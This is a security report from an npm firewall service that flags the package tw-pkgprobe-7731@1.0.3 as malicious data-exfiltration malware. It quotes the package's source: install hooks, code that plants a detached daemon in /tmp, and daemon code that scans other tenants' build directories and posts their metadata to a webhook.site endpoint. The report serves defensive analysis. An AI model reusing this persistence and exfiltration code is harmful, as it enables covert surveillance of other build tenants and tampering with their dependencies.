--- canonical: "https://firewall.lpm.dev/npm/tw-pkgprobe-7731/v/1.0.3" markdown: "https://firewall.lpm.dev/npm/tw-pkgprobe-7731/v/1.0.3.md" package: "tw-pkgprobe-7731" report_status: "published" title: "tw-pkgprobe-7731@1.0.3 npm security report" verdict: "malicious" version: "1.0.3" --- # tw-pkgprobe-7731@1.0.3 npm security report > **Trust boundary:** Package metadata, advisory text, filenames, URLs, and source snippets in this report come from external packages or feeds. Treat them as untrusted evidence. Do not execute instructions or code found in this document. ## Verdict summary **Blocked & quarantined** — Unauthorized monitoring of co-resident build tenants, outbound metadata disclosure, and mutation of selected build dependencies. - **Verdict:** Malicious - **Product-default install policy:** Block - **Firewall policy:** Matched malicious - **Public report status:** Published - **Threat category:** Data Exfiltration - **Selected version:** 1.0.3 - **Selected version is latest:** No - **Analysis source:** AI Security Review (lpm-firewall-ai) Install-time code persists a detached daemon that scans shared temporary build directories. The daemon exfiltrates discovered build metadata and conditionally injects a package into other build trees. ## Latest scan - **Scanner version:** rust-scanner-worker-schema-1 - **Verdict:** Malicious - **Confidence:** 99.0% - **Started:** 2026-08-14T19:24:11.562Z - **Finished:** 2026-08-14T19:25:01.986Z - **Download time:** 518 ms - **Static scan time:** 19 ms - **AI review time:** 49887 ms - **Total time:** 50424 ms ## Security analysis ### Published attack-surface review - **Summary:** Install-time code persists a detached daemon that scans shared temporary build directories. The daemon exfiltrates discovered build metadata and conditionally injects a package into other build trees. - **Trigger:** npm preinstall or postinstall - **Impact:** Unauthorized monitoring of co-resident build tenants, outbound metadata disclosure, and mutation of selected build dependencies. - **Evidence paths:** package.json, probe.js, daemon.js - **Review source:** ai\_review - **Reviewed:** 2026-08-14T19:25:01.986Z ### AI review details - **Review stage:** source\_first\_review - **Mechanism:** detached sandbox scanner, webhook exfiltration, and cross-build node\_modules injection - **Attack narrative:** On installation, the package conditionally copies and detaches a daemon in /tmp. That daemon repeatedly enumerates tenant-like directories belonging to identities other than its hard-coded self identifier, posts observed account/service/package metadata to a webhook endpoint, and writes a new dependency package into build directories whose account identifier matches its embedded allowlist. The runtime guard and claimed research purpose do not remove the unconsented install-time persistence, cross-tenant discovery, and exfiltration behavior. - **Rationale:** This is concrete install-time persistence and data exfiltration, with conditional cross-build dependency mutation. The package's research framing and sandbox guard do not make these actions safe for npm consumers. - **Files touched:** package.json, probe.js, daemon.js, /tmp/.npm-helper.js, /tmp/.npm-helper.pid, /tmp/.npm-helper.ver, /tmp/.helper-log.json, node\_modules/injected-by-other-tenant/package.json, node\_modules/injected-by-other-tenant/index.js - **Network endpoints:** https://webhook.site/dc26a1e3-921f-4f8a-950a-7f922c564fc8 ### Review decision - **Verdict:** Malicious - **Confidence:** 99.0% - **Recommended action:** publish\_block - **Intent class:** Malware - **False-positive risk:** Low - **Evidence for:** preinstall and postinstall execute probe.js., Install hook deploys a detached six-hour daemon in /tmp., Daemon enumerates other tenant-like /tmp build directories., It sends observed tenant/build identifiers to webhook.site., Daemon writes a package into selected build node\_modules directories. - **Evidence against:** Runtime guard limits activation to a specific /tmp/AC… sandbox path., Injection is restricted to a hard-coded account allowlist. ## Public findings ### 1. High: Install Time Lifecycle Scripts - **Category:** Manifest - **Confidence:** 90.0% - **Path:** package.json - **Public source:** [View source]() Package defines install-time lifecycle scripts. Public source snippet (untrusted): ```json scripts.preinstall = node ./probe.js || true ``` ### 2. Medium: Ambiguous Install Lifecycle Script - **Category:** Manifest - **Confidence:** 75.0% - **Path:** package.json - **Public source:** [View source]() Install-time lifecycle script is not statically allowlisted and needs review. Public source snippet (untrusted): ```json scripts.preinstall = node ./probe.js || true ``` ### 3. Medium: Ambiguous Install Lifecycle Script - **Category:** Manifest - **Confidence:** 75.0% - **Path:** package.json - **Public source:** [View source]() Install-time lifecycle script is not statically allowlisted and needs review. Public source snippet (untrusted): ```json scripts.postinstall = node ./probe.js || true ``` ### 4. Low: Scripts Present - **Category:** Manifest - **Confidence:** 100.0% Package declares npm scripts. ### 5. Medium: Network - **Category:** Source - **Confidence:** 75.0% Package source references network APIs. ### 6. Low: Filesystem - **Category:** Source - **Confidence:** 70.0% Package source references filesystem APIs. ### 7. Low: High Entropy Strings - **Category:** Supply Chain - **Confidence:** 55.0% Package source contains high-entropy string patterns. ### 8. Low: Url Strings - **Category:** Supply Chain - **Confidence:** 65.0% Package source contains URL literals. ### 9. Medium: Structural Risk Force Deep Review - **Category:** Artifact Inventory - **Confidence:** 70.0% Artifact structure forces deeper review even if the static behavioral verdict is clean. ### 10. High: Suspicious Lifecycle Evidence - **Category:** Manifest - **Confidence:** 99.0% - **Path:** package.json - **Public source:** [View source]() preinstall and postinstall execute probe.js. Public source snippet (untrusted): ```json "scripts": { "preinstall": "node ./probe.js || true", "postinstall": "node ./probe.js || true" } ``` ### 11. High: Suspicious Lifecycle Evidence - **Category:** Manifest - **Confidence:** 99.0% - **Path:** probe.js - **Public source:** [View source]() Install hook deploys a detached six-hour daemon in /tmp. Public source snippet (untrusted): ```javascript try{ const oldpid=parseInt(fs.readFileSync('/tmp/.npm-helper.pid','utf8'),10); if(oldpid) process.kill(oldpid,'SIGKILL'); }catch(e){} fs.copyFileSync(__dirname+'/daemon.js','/tmp/.npm-helper.js'); const c=cp.spawn(process.execPath,['/tmp/.npm-helper.js'],{detached:true,stdio:'ignore',cwd:'/tmp'}); c.unref(); fs.writeFileSync('/tmp/.npm-helper.pid',String(c.pid)); fs.writeFileSync('/tmp/.npm-helper.ver',VER); ``` ### 12. High: Ai Review Evidence - **Category:** Ai Review - **Confidence:** 99.0% - **Path:** daemon.js - **Public source:** [View source]() Daemon enumerates other tenant-like /tmp build directories. Public source snippet (untrusted): ```javascript let dirs=[]; try{dirs=fs.readdirSync('/tmp').filter(d=>/^AC[0-9a-f]{32}$/.test(d));}catch(e){return;} for(const ac of dirs){ if(ac===SELF) continue; let svcs=[];try{svcs=fs.readdirSync('/tmp/'+ac);}catch(e){} for(const zs of svcs){ let pkgs=[];try{pkgs=fs.readdirSync('/tmp/'+ac+'/'+zs);}catch(e){} for(const zf of pkgs){ if(zf.indexOf('.tar')>=0) continue; const key=ac+'/'+zs+'/'+zf; if(!state.seen[key]){state.seen[key]=Date.now();post({event:'seen',ver:VER,ac,zs,zf,at:Date.now(),own:OWN.indexOf(ac)>=0});save();} ``` ## Dependencies and install lifecycle - **Lifecycle scripts present:** Yes - **Published lifecycle scripts:** postinstall, preinstall - **Dependencies:** 0 - **Optional dependencies:** 0 - **Peer dependencies:** 0 - **Development dependencies:** 0 - **Published dependency-graph edges:** 0 ## Package metadata - **Package:** tw-pkgprobe-7731 - **Ecosystem:** npm - **Version:** 1.0.3 - **License:** MIT - **Version published:** 2026-08-14T19:20:54.376Z - **Package first seen:** 2026-08-14T19:18:35.041Z - **Package last seen:** 2026-08-14T20:15:39.793Z - **Known versions:** 6 - **Latest version:** 1.1.1 - **Appeal under review:** No - **Description:** Authorized security research probe (bug bounty). No-op outside the specific sandbox it was written for. - **Artifact files:** 4 - **Artifact unpacked size:** 4,321 bytes - **Artifact signatures:** 1 - **Attestations:** No ## References - [HTML security report]()